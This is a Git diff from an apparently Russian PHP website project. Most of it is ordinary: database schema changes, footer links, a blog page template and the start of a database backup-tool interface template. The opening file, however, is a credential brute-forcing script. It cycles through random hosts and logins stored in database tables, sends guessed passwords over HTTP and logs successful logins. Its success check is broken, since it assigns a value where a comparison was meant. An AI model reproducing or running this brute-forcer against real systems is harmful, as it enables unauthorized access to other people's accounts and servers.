//'А', 'Б', 'В', 'Г', 'Д', 'Е', 'Ё', 'Ж', 'З', 'И', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П', 'Р', 'С', 'Т', 'У', 'Ф', 'Х', 'Ц', 'Ч', 'Ш', 'Щ', 'Ъ', 'Ы', 'Ь', 'Э', 'Ю', 'Я', //'А', 'Б', 'В', 'Г', 'Д', 'Е', 'Ё', 'Ж', 'З', 'И', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П', 'Р', 'С', 'Т', 'У', 'Ф', 'Х', 'Ц', 'Ч', 'Ш', 'Щ', 'Ъ', 'Ы', 'Ь', 'Э', 'Ю', 'Я',
//'а', 'б', 'в', 'г', 'д', 'е', 'ё', 'х', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э', 'ю', 'я', //'а', 'б', 'в', 'г', 'д', 'е', 'ё', 'х', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э', 'ю', 'я',
'A', 'B', 'C', 'D', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z', //'A', 'B', 'C', 'D', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z',
//'a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','r','s','t','u','v','x','y','z', //'a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','r','s','t','u','v','x','y','z',
'1','2','3','4','5','6','7','8','9','0'); '1','2','3','4','5','6','7','8','9','0');
$pass = ""; $pass = "";
@ -45,11 +45,11 @@ function findtxt($txt, $str){
function brut($login='admin', $pwd=123, $host='localhost'){ function brut($login='admin', $pwd=123, $host='localhost'){
$url = $host; // url, на который отправляется запрос $url = $host; // url, на который отправляется запрос
$post_data = [ // поля нашего запроса /* $post_data = [ // поля нашего запроса
'field1' => 'val_1', 'field1' => 'val_1',
'field2' => 'val_2', 'field2' => 'val_2',
]; ];
*/
$headers = [ $headers = [
@ -59,56 +59,58 @@ function brut($login='admin', $pwd=123, $host='localhost'){
$post_data = http_build_query($post_data); $post_data = http_build_query($post_data);
$curl = curl_init(); $curl = curl_init();
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 120);
curl_setopt($curl, CURLOPT_TIMEOUT, 10); //timeout in seconds curl_setopt($curl, CURLOPT_TIMEOUT, 120); //timeout in seconds
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_VERBOSE, 1); curl_setopt($curl, CURLOPT_VERBOSE, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data); //curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true); // true - означает, что отправляется POST запрос curl_setopt($curl, CURLOPT_POST, true); // true - означает, что отправляется POST запрос
$result = trim(curl_exec($curl)); $result = trim(curl_exec($curl));
$http_code = curl_getinfo($curl, CURLINFO_RESPONSE_CODE); $http_code = curl_getinfo($curl, CURLINFO_RESPONSE_CODE);
echo $http_code . "\n";
$res['http']=$http_code; $res['http']=$http_code;
//echo $http_code; //echo $http_code;
if (findtxt($http_code, '401')==1) $res['res']='bad'; if (findtxt($http_code, '401')==1) $res['res']='bad';
if (findtxt($http_code, '200')==1) $res['res']='good'; if (findtxt($http_code, '200')==1) $res['res']='good';
curl_close($curl);
return $res; return $res;
//if ($result=='Unauthorized') return 'bad'; else return 'good'; //if ($result=='Unauthorized') return 'bad'; else return 'good';
} }
for($i = 0; $i < 1500; $i++){ for($i = 0; $i < 500; $i++){
$password = gen_random(5, 15); $password = gen_random(7, 9);
//Берем рандомный хост //Берем рандомный хост
$host = DB::getValue( 'SELECT `host` FROM `brut_hosts` ORDER BY RAND() LIMIT 1'); $host = DB::getValue( 'SELECT `host` FROM `brut_hosts` ORDER BY RAND() LIMIT 1');
//Берем рандомный login //Берем рандомный login
$login = DB::getValue( 'SELECT `login` FROM `brut_logins` ORDER BY RAND() LIMIT 1'); $login = DB::getValue( 'SELECT `login` FROM `brut_logins` ORDER BY RAND() LIMIT 1');
//узнаем буртили ли такой пароль... //узнаем буртили ли такой пароль...
$id1=DB::getValue("SELECT `id` FROM `brut_pwd` WHERE `pwd`=?", $password); //$id1=DB::getValue("SELECT `id` FROM `brut_pwd` WHERE `pwd`=?", $password);
if (!$id1)DB::add("INSERT INTO `brut_pwd` (`pwd`, `md5`) VALUES(?, ?)", array($password, md5($password))); //if (!$id1)DB::add("INSERT INTO `brut_pwd` (`pwd`, `md5`) VALUES(?, ?)", array($password, md5($password)));
//Проверяем осмысленность действий
$id=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `login`=? AND `pwd`=?", array($host, $login, $password)); $check200=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `code`=?", array($host, '200'));
if ($check200)break;
$id=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `login`=? AND `pwd`=? AND `code`=?", array($host, $login, $password, '401'));
if (!$id){ if (!$id){
$res=brut($login, $password, $host); $res=brut($login, $password, $host);
echo $res['http'] . "\n";
if (strlen($res['http'])==3)DB::add("INSERT INTO `brut_bad_pwd` (`host`, `login`, `pwd`, `code`) VALUES(?, ?, ?, ?)", array($host, $login, $password, $res['http']));
if ($res['res']='good') {
DB::add("INSERT INTO `brut_good` (`host`, `login`, `pwd`) VALUES(?, ?, ?)", array($host, $login, $password));
die('pwd: ' . $password);
}else{
if ($res['http'])DB::add("INSERT INTO `brut_bad_pwd` (`host`, `login`, `pwd`, `http`) VALUES(?, ?, ?, ?)", array($host, $login, $password, $res['http']));
}
} }
unset($id); unset($id);
sleep(5);
} }
DB::set("DELETE FROM `brut_bad_pwd` WHERE `code`='400'");
?> ?>

View File

@ -58,6 +58,16 @@
\DB::set("CREATE TABLE IF NOT EXISTS `rss` (
`id` INTEGER PRIMARY KEY NOT NULL,
`user_id` INTEGER,
`link` TEXT,
`rss` TEXT,
`txt` TEXT,
`srok` TEXT,
`partner` TEXT,
FOREIGN KEY (`user_id`) REFERENCES `users` (`id`));");
@ -162,6 +172,7 @@
`alias` TEXT, `alias` TEXT,
`status` TEXT, `status` TEXT,
`category` INTEGER, `category` INTEGER,
`comment` INTEGER,
`user_id` INTEGER, `user_id` INTEGER,
FOREIGN KEY (`user_id`) REFERENCES `users` (`id`));"); FOREIGN KEY (`user_id`) REFERENCES `users` (`id`));");
@ -313,6 +324,7 @@
\DB::alterTable("ALTER TABLE `users` ADD `spasibo` TEXT"); \DB::alterTable("ALTER TABLE `users` ADD `spasibo` TEXT");
\DB::alterTable("ALTER TABLE `pages` ADD `reyt` INTEGER"); \DB::alterTable("ALTER TABLE `pages` ADD `reyt` INTEGER");
\DB::alterTable("ALTER TABLE `pages` ADD `see` INTEGER"); \DB::alterTable("ALTER TABLE `pages` ADD `see` INTEGER");
\DB::alterTable("ALTER TABLE `pages` ADD `comment` INTEGER");
// \DB::alterTable("ALTER TABLE `tovar_brand` ADD `description` TEXT"); // \DB::alterTable("ALTER TABLE `tovar_brand` ADD `description` TEXT");

View File

@ -18,6 +18,7 @@
<li><a href="">Портфолио</a></li> <li><a href="">Портфолио</a></li>
<li><a href="https://git.yurecnt.ru" target="_blank" rel="nofollow">Мой Git</a></li> <li><a href="https://git.yurecnt.ru" target="_blank" rel="nofollow">Мой Git</a></li>
<li><a href="/user/1">Не много обо мне</a></li> <li><a href="/user/1">Не много обо мне</a></li>
<li><a href="/page/22">Продвигайте свой сайт через RSS!</a></li>
<li><a href="/page/19">О Куках</a></li> <li><a href="/page/19">О Куках</a></li>
</ul> </ul>
</div> </div>
@ -25,7 +26,7 @@
<h4>Помощь проекту</h4> <h4>Помощь проекту</h4>
<ul> <ul>
<li><a href="/page/20">Самая примитивная и скучная</a></li> <li><a href="/page/20">Самая примитивная и скучная</a></li>
<li><a href="">Пишем полезные статьи</a></li> <li><a href="/page/21">Пишем полезные статьи</a></li>
<li><a href="">Сделайте ссылку! =)</a></li> <li><a href="">Сделайте ссылку! =)</a></li>
<li><a href="">Пишем код вместе!</a></li> <li><a href="">Пишем код вместе!</a></li>
</ul> </ul>

View File

@ -1,6 +1,4 @@
{include file=$header title={$page[0].title}} {include file=$header title={$page[0].title}}
<!-- Page info --> <!-- Page info -->
<div class="page-info-section set-bg" data-setbg="img/page-bg/3.jpg"> <div class="page-info-section set-bg" data-setbg="img/page-bg/3.jpg">
<div class="container" style="position: absolute; margin-top:215px; margin-left: auto; margin-right: auto; left: 0; right: 0;"> <div class="container" style="position: absolute; margin-top:215px; margin-left: auto; margin-right: auto; left: 0; right: 0;">
@ -21,8 +19,6 @@
<a href="/blog_edit/"><i class="fa-regular fa-square-plus" title="Создать статью" style="font-size: 22pt;"></i></a> <a href="/blog_edit/"><i class="fa-regular fa-square-plus" title="Создать статью" style="font-size: 22pt;"></i></a>
{if ($smarty.session.user_id==$page[0].user_id)} {if ($smarty.session.user_id==$page[0].user_id)}
<a href="/blog_edit/{$page[0].id}"><i class="fa-solid fa-pen-to-square" style="font-size: 22pt; margin-left: 10px;" title="Изменить страницу"></i></a> <a href="/blog_edit/{$page[0].id}"><i class="fa-solid fa-pen-to-square" style="font-size: 22pt; margin-left: 10px;" title="Изменить страницу"></i></a>
<a href="/blog_moder_comments/{$page[0].id}"><i class="fa-sharp fa-solid fa-comment-dots" style="font-size: 22pt; color:red; margin-left: 10px;" title="Модерировать коментарии"></i></a> <a href="/blog_moder_comments/{$page[0].id}"><i class="fa-sharp fa-solid fa-comment-dots" style="font-size: 22pt; color:red; margin-left: 10px;" title="Модерировать коментарии"></i></a>
{/if} {/if}
</div> </div>
@ -30,24 +26,15 @@
{/if} {/if}
<div class="container" style="margin-top: 60px;"> <div class="container" style="margin-top: 60px;">
<h1 class="text-center" style="font-size: 22pt;">{$page[0].title}</h1> <h1 class="text-center" style="font-size: 22pt;">{$page[0].title}</h1>
</div> </div>
<div class="container mt-3" style="border: 1px solid lightgray; border-radius: 5px; padding-top: 10px; padding-bottom: 10px;"> <div class="container mt-3" style="border: 1px solid lightgray; border-radius: 5px; padding-top: 10px; padding-bottom: 10px;">
<div class="row"> <div class="row">
<div class="col-sm-4"> <div class="col-sm-4">
<img src="/img/{$smarty.server.SERVER_NAME}/ava/{$autor[0].ava}" style="width: 100%" class="mb-3"> <img src="/img/{$smarty.server.SERVER_NAME}/ava/{$autor[0].ava}" style="width: 100%" class="mb-3">
{if ({$autor[0].soc_vk})}<a href="{$autor[0].soc_vk}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_vk_color.png" style="width: 30px;"></a>{/if} {if ({$autor[0].soc_vk})}<a href="{$autor[0].soc_vk}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_vk_color.png" style="width: 30px;"></a>{/if}
{if ({$autor[0].soc_ok})}<a href="{$autor[0].soc_ok}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_ok_color.png" style="width: 30px;"></a>{/if} {if ({$autor[0].soc_ok})}<a href="{$autor[0].soc_ok}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_ok_color.png" style="width: 30px;"></a>{/if}
{if ({$autor[0].soc_ig})}<a href="{$autor[0].soc_ig}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_ig.png" style="width: 30px;"></a>{/if} {if ({$autor[0].soc_ig})}<a href="{$autor[0].soc_ig}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_ig.png" style="width: 30px;"></a>{/if}
{if ({$autor[0].soc_dz})}<a href="{$autor[0].soc_dz}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_dz.png" style="width: 30px;"></a>{/if} {if ({$autor[0].soc_dz})}<a href="{$autor[0].soc_dz}" rel="nofollow" target="_blank"><img src="/img/{$smarty.server.SERVER_NAME}/soc/soc_dz.png" style="width: 30px;"></a>{/if}
</div> </div>
<div class="col-sm-8"> <div class="col-sm-8">
<h3 style="font-size: 18pt;" class="mb-3">Информация об авторе</h3> <h3 style="font-size: 18pt;" class="mb-3">Информация об авторе</h3>
@ -55,29 +42,25 @@
<p>{$autor[0].about|substr:200}</p> <p>{$autor[0].about|substr:200}</p>
<p>{$autor[0].dostup}</p> <p>{$autor[0].dostup}</p>
<hr> <hr>
<p>Все статьи автора {$pageskolvo}</p> <p>Все статьи автора {$pageskolvo}</p>
<p>Благодарности: <span style="margin-left: 10px;" id="user_spasibo">{$autor[0].spasibo}</span> <i class="fa-regular fa-thumbs-up likeup" style="font-size: 12pt;margin-left: 10px; cursor: pointer;" data-id="{$autor[0].id}" data-elem="#user-spasibo" data-tip="user_spasibo"></i></p> <p>Благодарности: <span style="margin-left: 10px;" id="user_spasibo">{$autor[0].spasibo}</span> <i class="fa-regular fa-thumbs-up likeup" style="font-size: 12pt;margin-left: 10px; cursor: pointer;" data-id="{$autor[0].id}" data-elem="#user-spasibo" data-tip="user_spasibo"></i></p>
<p>Рейтинг: <span style="margin-left: 10px;" id="user-reyt">{$autor[0].reyt}</span> <i class="fa-regular fa-thumbs-up likeup" data-id="{$autor[0].id}" data-elem="#user-reyt" data-tip="user_reyt" style="font-size: 12pt; margin-left: 10px; cursor: pointer;"></i></p> <p>Рейтинг: <span style="margin-left: 10px;" id="user-reyt">{$autor[0].reyt}</span> <i class="fa-regular fa-thumbs-up likeup" data-id="{$autor[0].id}" data-elem="#user-reyt" data-tip="user_reyt" style="font-size: 12pt; margin-left: 10px; cursor: pointer;"></i></p>
</div> </div>
</div> </div>
</div> </div>
<!-- Page info end --> <!-- Page info end -->
<article class="container mt-3"> <article class="container mt-3">
{$page[0].txt} {$page[0].txt}
<hr> <hr>
<p>Рейтинг: <span style="margin-left: 10px;" id="page-reyt">{$page[0].reyt}</span> <i class="fa-regular fa-thumbs-up likeup" data-id="{$page[0].id}" data-elem="#page-reyt" data-tip="page_reyt" style="font-size: 12pt; margin-left: 10px; cursor: pointer;"></i></p> <p>Рейтинг: <span style="margin-left: 10px;" id="page-reyt">{$page[0].reyt}</span>
<i class="fa-regular fa-thumbs-up likeup" data-id="{$page[0].id}" data-elem="#page-reyt" data-tip="page_reyt" style="font-size: 12pt; margin-left: 10px; cursor: pointer;"></i>
<span style="margin-left: 10px;">{$see}</span>
<i class="fa-solid fa-eye" style="font-size: 12pt; margin-left: 10px;"></i>
</p>
<p>Обновлено: {$page[0].t|t}</p> <p>Обновлено: {$page[0].t|t}</p>
</article> </article>
{if ($page[0].comment==1)}
<div class="container mt-3" style="border: 1px solid lightgray; border-radius: 5px; padding-top: 10px; padding-bottom: 10px;"> <div class="container mt-3" style="border: 1px solid lightgray; border-radius: 5px; padding-top: 10px; padding-bottom: 10px;">
{if ($smarty.session.user_id)} {if ($smarty.session.user_id)}
<form id="add_comment" action="/act/page" method="post"> <form id="add_comment" action="/act/page" method="post">
<input type="hidden" name="page_id" value="{$smarty.get.id}"> <input type="hidden" name="page_id" value="{$smarty.get.id}">
@ -90,19 +73,11 @@
</form> </form>
{/if} {/if}
<hr> <hr>
<div class="row"> <div class="row">
{section name=customer loop=$comments} {if $comments[customer].id} {section name=customer loop=$comments} {if $comments[customer].id}
<div class="col-sm-2 comment-{$comments[customer].id}"> <div class="col-sm-2 comment-{$comments[customer].id}">
<img src="/img/{$smarty.server.SERVER_NAME}/ava/{$comments[0].ava}" style="width: 100%" class="mb-3"> <img src="/img/{$smarty.server.SERVER_NAME}/ava/{$comments[0].ava}" style="width: 100%" class="mb-3">
</div> </div>
<div class="col-sm-10 comment-{$comments[customer].id}"> <div class="col-sm-10 comment-{$comments[customer].id}">
<p><b>{$comments[customer].fio} - {$comments[customer].t|t}</b></p> <p><b>{$comments[customer].fio} - {$comments[customer].t|t}</b></p>
<p>{$comments[customer].txt}</p> <p>{$comments[customer].txt}</p>
@ -112,14 +87,8 @@
<p><i class="fa-solid fa-trash moder" data-id="{$comments[customer].id}" data-tip="del" style="font-size: 12pt; margin-left:10px; color: red; cursor: pointer;"></i></p> <p><i class="fa-solid fa-trash moder" data-id="{$comments[customer].id}" data-tip="del" style="font-size: 12pt; margin-left:10px; color: red; cursor: pointer;"></i></p>
{/if} {/if}
</div> </div>
{/if} {/section} {/if} {/section}
</div> </div>
</div> </div>
{/if}
{include file=$footer} {include file=$footer}

402
sxd/.sx/tmpl.php Executable file
View File

@ -0,0 +1,402 @@
<?php
// Templates
function sxd_tpl_page(){
global $SXD;
return <<<HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>{$SXD->name}</title>
<link rel="stylesheet" type="text/css" href="{$SXD->url}load.php?sxd.v209pro.css">
<script type="text/javascript" src="{$SXD->url}load.php?sxd.v209pro.js"></script>
<script type="text/javascript" src="{$SXD->url}load.php?{$SXD->LNG['name']}.v209pro.lng.js"></script>
<link rel="shortcut icon" href="{$SXD->url}load.php?favicon.v209pro.ico">
</head>
<body>
<div id="main_div">
<div id="header">{$SXD->name}</div>
<div id="sxdToolbar"></div>
<div id="name"><div id="loading"></div><b></b></div>
<div id="content" class="content">
<table cellspacing="0" id="tab_backup">
<tr>
<td width="242" valign="top">
<div class="caption">{$SXD->LNG['combo_db']}</div><div id="backup_db"></div>
<div class="caption">{$SXD->LNG['combo_charset']}</div><div id="backup_charset"></div>
<div class="caption">{$SXD->LNG['combo_zip']}</div><div id="backup_zip"></div>
<div class="caption">{$SXD->LNG['combo_comments']}</div>
<div class="border"><textarea cols="10" rows="3" id="backup_comment"></textarea></div>
<div class="caption" style="margin-top:7px;">
<fieldset><legend>{$SXD->LNG['del_legend']}</legend>
<div class="caption">&nbsp; {$SXD->LNG['del_date']}</div>
<div class="caption">&nbsp; {$SXD->LNG['del_count']}</div>
</fieldset>
</div>
<div class="caption" style="margin-top:7px;">
<fieldset><legend>{$SXD->LNG['ext_legend']}</legend>
<div class="caption"><label><input type="checkbox" id="outfile"> {$SXD->LNG['outfile']}</label></div>
<!--<div class="caption"><label><input type="checkbox" id="utf"> Convert &amp;#1000; to UTF-8</label></div>-->
</fieldset>
</div>
</td>
<td width="308" valign="top">
<div class="caption">{$SXD->LNG['tree']}</div><div id=backup_tree class="zTree"></div>
</td>
</tr>
<tr><td></td><td align="right"><input type="button" value="{$SXD->LNG['btn_save']}" onclick="sxd.showDialog('savejob');z('sj_name').value = sxd.combos.backup_db.value;"> <input type="button" value="{$SXD->LNG['btn_exec']}" onclick="sxd.runBackup();"></td></tr>
</table>
<table cellspacing="0" id="tab_restore" style="display:none;">
<tr>
<td width="242" valign="top">
<div class="caption">{$SXD->LNG['combo_db']}</div><div id="restore_db"></div>
<div class="caption">{$SXD->LNG['combo_charset']}</div><div id="restore_charset"></div>
<div class="caption">{$SXD->LNG['combo_file']}</div><div id="restore_file"></div>
<div class="caption">{$SXD->LNG['combo_comments']}</div>
<div class="border"><textarea cols="10" rows="3" id="restore_comment" readonly></textarea></div>
<div class="caption">{$SXD->LNG['combo_strategy']}</div><div id="restore_type"></div>
<div class="caption" style="margin-top:1px;">
<fieldset><legend>{$SXD->LNG['ext_legend']}</legend>
<div class="caption"><label><input type="checkbox" id="correct"> {$SXD->LNG['correct']}</label></div>
<div class="caption"><label><input type="checkbox" id="autoinc"> {$SXD->LNG['autoinc']}</label></div>
<div class="caption"><input type="checkbox" id="prefix" onclick="sxd.getPrefix();"> {$SXD->LNG['prefix']}</div>
</fieldset>
</div>
</td>
<td width="308" valign="top">
<div class="caption">{$SXD->LNG['tree']}</div><div id=restore_tree class="zTree"></div>
</td>
</tr>
<tr><td><input type="button" value="{$SXD->LNG['savesql']}" onclick="sxd.runRestore(1);" style="float:left;" id="savesql"></td><td align="right"><input type="button" value="{$SXD->LNG['btn_save']}" onclick="sxd.showDialog('savejob');z('sj_name').value = sxd.combos.restore_db.value;" id=restore_savejob> <input type="button" value="{$SXD->LNG['btn_exec']}" onclick="sxd.runRestore();" id=restore_runjob></td></tr>
</table>
<table cellspacing="0" id="tab_log" style="display:none;">
<tr>
<td valign="top" colspan=2>
<div id=sxdGrid1></div>
</td>
</tr>
<tr><td colspan=2>
<table class=progress>
<tr><td>{$SXD->LNG['status_current']}</td><td><div id="sxdProc1"></div></td><td width=60>{$SXD->LNG['time_elapsed']}</td><td width=40 align=right id="sxdTime1">00:00</td></tr>
<tr><td>{$SXD->LNG['status_total']}</td><td><div id="sxdProc2"></div></td><td>{$SXD->LNG['time_left']}</td><td align=right id="sxdTime2">00:00</td></tr>
</table>
</td></tr>
<tr><td width="152"><input type="button" value="{$SXD->LNG['btn_clear']}" onclick="sxd.log.clear();"></td><td width="380" align="right">
<input type="button" value="{$SXD->LNG['btn_download']}" id="btn_down" onclick="sxd.runFiles('download', this.file);" style="display:none;">
<input type="button" value="{$SXD->LNG['btn_again']}" id="btn_again" onclick="sxd.runAgain();" disabled>
<input type="button" value="{$SXD->LNG['btn_stop']}" id="btn_stop" onclick="sxd.stopJob();" disabled>
<input type="button" value="{$SXD->LNG['btn_pause']}" id="btn_pause" onclick="sxd.pauseJob();" disabled>
<input type="button" value="{$SXD->LNG['btn_resume']}" id="btn_resume" onclick="sxd.resumeJob();" style="display:none;">
</td></tr>
</table>
<table cellspacing="0" id="tab_result" style="display:none;">
<tr>
<td valign="top">
<div id=sxdGrid3></div>
</td>
</tr>
<tr><td>
<input type="button" value="{$SXD->LNG['btn_clear']}" onclick="sxd.result.clear();">
</td></tr>
</table>
<table cellspacing="0" id="tab_files" style="display:none;">
<tr>
<td valign="top" colspan=2>
<div id=sxdGrid2></div>
</td>
</tr>
<tr><td width="242"><form id="save_file" method="GET" style="visibility:hidden;display:inline;" target=save></form><input type="button" value="{$SXD->LNG['btn_delete']}" onclick="sxd.runFiles('delete')"></td><td width="290" align="right">
<input type="button" value="{$SXD->LNG['btn_download']}" onclick="sxd.runFiles('download')">
<input type="button" value="{$SXD->LNG['btn_open']}" onclick="sxd.runFiles('open')">
</td></tr>
</table>
<table cellspacing="0" id="tab_services" style="display:none;">
<tr>
<td width="242" valign="top">
<div class="caption">{$SXD->LNG['combo_db']}</div><div id="services_db"></div>
<br>
<div class="caption">{$SXD->LNG['opt_check']}</div><div id="services_check"></div>
<div class="caption">{$SXD->LNG['opt_repair']}</div><div id="services_repair"></div>
</td>
<td width="308" valign="top">
<div class="caption">{$SXD->LNG['tree']}</div><div id=services_tree class="zTree"></div>
</td>
</tr>
<tr><td align="right" colspan=2><input type="button" value="{$SXD->LNG['btn_extra']}" onclick="sxd.showMenu({el:this}, sxd.options.services,{btn:2,width:160});" style="float:left;"> <input type="button" value="{$SXD->LNG['btn_check']}" onclick="sxd.runServices('check')"> <input type="button" value="{$SXD->LNG['btn_repair']}" onclick="sxd.runServices('repair')"> <input type="button" value="{$SXD->LNG['btn_analyze']}" onclick="sxd.runServices('analyze')"> <input type="button" value="{$SXD->LNG['btn_optimize']}" onclick="sxd.runServices('optimize')"></td></tr>
</table>
<table cellspacing="0" id="tab_options" style="display:none;">
<tr>
<td valign="top" colspan=2>
<div style="height: 341px;">
<fieldset>
<legend>{$SXD->LNG['cfg_legend']}</legend>
<table cellspacing="0">
<tr>
<td width=190>{$SXD->LNG['cfg_time_web']}</td>
<td width=45><input type="text" id="time_web" style="width:40px;"></td>
<td align="right">{$SXD->LNG['cfg_time_cron']}</td>
<td width=40 align="right"><input type="text" id="time_cron" style="width:40px;"></td>
</tr>
<tr>
<td>{$SXD->LNG['cfg_backup_path']}</td>
<td colspan=3><input type="text" id="backup_path" style="width:351px;"></td>
</tr>
<tr>
<td>{$SXD->LNG['cfg_backup_url']}</td>
<td colspan=3><input type="text" id="backup_url" style="width:351px;"></td>
</tr>
<tr>
<td>{$SXD->LNG['cfg_globstat']}</td>
<td><input type="checkbox" id="globstat" value="1"></td>
<td align="right">Размер буффера OUTFILE (МБ)</td>
<td width=40 align="right"><input type="text" id="outfile_size" style="width:40px;"></td>
</tr>
<tr>
<td>Путь для OUTFILE</td>
<td colspan=3><input type="text" id="outfile_path" value="" style="width:351px;"></td>
</tr>
</table>
</fieldset>
<fieldset>
<legend>{$SXD->LNG['cfg_confirm']}</legend>
<table cellspacing="0">
<tr>
<td width="33%"><label><input type="checkbox" id="conf_import" value="1"> {$SXD->LNG['cfg_conf_import']}</label></td>
<td width="34%"><label><input type="checkbox" id="conf_file" value="1"> {$SXD->LNG['cfg_conf_file']}</label></td>
<td width="33%"><label><input type="checkbox" id="conf_db" value="1"> {$SXD->LNG['cfg_conf_db']}</label></td>
</tr><tr>
<td><label><input type="checkbox" id="conf_truncate" value="1"> {$SXD->LNG['cfg_conf_truncate']}</label></td>
<td><label><input type="checkbox" id="conf_drop" value="1"> {$SXD->LNG['cfg_conf_drop']}</label></td>
</tr>
</table>
</fieldset>
<fieldset>
<legend>{$SXD->LNG['cfg_extended']}</legend>
<table cellspacing="0">
<tr>
<td width=190>{$SXD->LNG['cfg_charsets']}</td>
<td><input type="text" id="charsets" value="" style="width:351px;"></td>
</tr>
<tr>
<td>{$SXD->LNG['cfg_only_create']}</td>
<td><input type="text" id="only_create" value="" style="width:351px;"></td>
</tr>
<tr>
<td>{$SXD->LNG['cfg_auth']}</td>
<td><input type="text" id="auth" value="" style="width:351px;"></td>
</tr>
</table>
</fieldset>
</div>
</td>
</tr>
<tr><td align="right" colspan=2><input type="button" value="{$SXD->LNG['btn_save']}" onclick="sxd.saveOptions();"></td></tr>
</table>
</div>
</div>
<div id="overlay"></div>
<div class="dialog" id ="dia_connect">
<div class="header">{$SXD->LNG['con_header']}</div>
<div class="content">
<table cellspacing="5">
<tr>
<td valign="top">
<fieldset>
<legend>{$SXD->LNG['connect']}</legend>
<table cellspacing="3">
<tr>
<td width="80">{$SXD->LNG['my_host']}</td>
<td width="126"><input type="text" id="con_host" style="width:120px;"></td>
<td width="40" align="right">{$SXD->LNG['my_port']}</td>
<td width="36"><input type="text" id="con_port" maxlength="5" style="width:30px;"></td>
</tr>
<tr>
<td>{$SXD->LNG['my_user']}</td>
<td colspan="3"><input type="text" id="con_user" name="user" style="width:202px;"></td>
</tr>
<tr>
<td>{$SXD->LNG['my_pass']}</td>
<td colspan="3"><input type="password" id="con_pass" name="pass" title="{$SXD->LNG['my_pass_hidden']}" style="width:202px;" onchange="this.changed = true;"></td>
</tr>
<tr>
<td></td>
<td colspan="3"><label><input type="checkbox" id="con_comp" value="1"> {$SXD->LNG['my_comp']}</label></td>
</tr>
<tr>
<td>{$SXD->LNG['my_db']}</td>
<td colspan="3"><input type="text" id="con_db" style="width:202px;"></td>
</tr>
</table></fieldset>
</td>
</tr>
<tr class="buttons"><td align="right"><input type="button" value="{$SXD->LNG['btn_save']}" onclick="sxd.saveConnect();"><input type="button" value="{$SXD->LNG['btn_cancel']}" onclick="sxd.hideDialog('connect');"></td></tr>
</table>
</div>
</div>
<div class="dialog" id ="dia_savejob">
<div class="header">{$SXD->LNG['sj_header']}</div>
<div class="content">
<table cellspacing="5">
<tr>
<td valign="top">
<fieldset>
<legend>{$SXD->LNG['sj_job']}</legend>
<table cellspacing="3">
<tr>
<td width="80">{$SXD->LNG['sj_name']}</td>
<td><input type="text" id="sj_name" style="width:202px;" maxlength="12" value=""></td>
</tr>
<tr>
<td>{$SXD->LNG['sj_title']}</td>
<td><input type="text" id="sj_title" maxlength="64" style="width:202px;"></td>
</tr>
</table></fieldset>
</td>
</tr>
<tr class="buttons"><td align="right"><input type="button" value="{$SXD->LNG['btn_save']}" onclick="sxd.saveJob();"><input type="button" value="{$SXD->LNG['btn_cancel']}" onclick="sxd.hideDialog('savejob');"></td></tr>
</table>
</div>
</div>
<div class=dialog id="dia_createdb">
<div class="header">{$SXD->LNG['cdb_header']}</div>
<div class="content">
<table cellspacing="5">
<tr>
<td valign="top">
<fieldset>
<legend>{$SXD->LNG['cdb_detail']}</legend>
<table cellspacing="3">
<tr>
<td width="80">{$SXD->LNG['cdb_name']}</td>
<td width="202"><input type="text" id="db_name" value="my_db_1" style="width:202px;"></td>
</tr>
<tr>
<td>{$SXD->LNG['combo_charset']}</td>
<td><div id="db_charset"></div></td>
</tr>
<tr>
<td>{$SXD->LNG['combo_collate']}</td>
<td><div id="db_charset_col"></div></td>
</tr>
</table>
</fieldset>
</td>
</tr>
<tr class="buttons"><td align="right"><input type="button" value="{$SXD->LNG['btn_create']}" onclick="sxd.addDb();"><input type="button" value="{$SXD->LNG['btn_cancel']}" onclick="sxd.hideDialog('createdb');"></td></tr>
</table>
</div>
</div>
<div class=dialog id="dia_charsets">
<div class="header" id="cc_header"></div>
<div class="content">
<table cellspacing="5">
<tr>
<td valign="top">
<fieldset>
<legend>{$SXD->LNG['cdb_detail']}</legend>
<table cellspacing="3">
<tr>
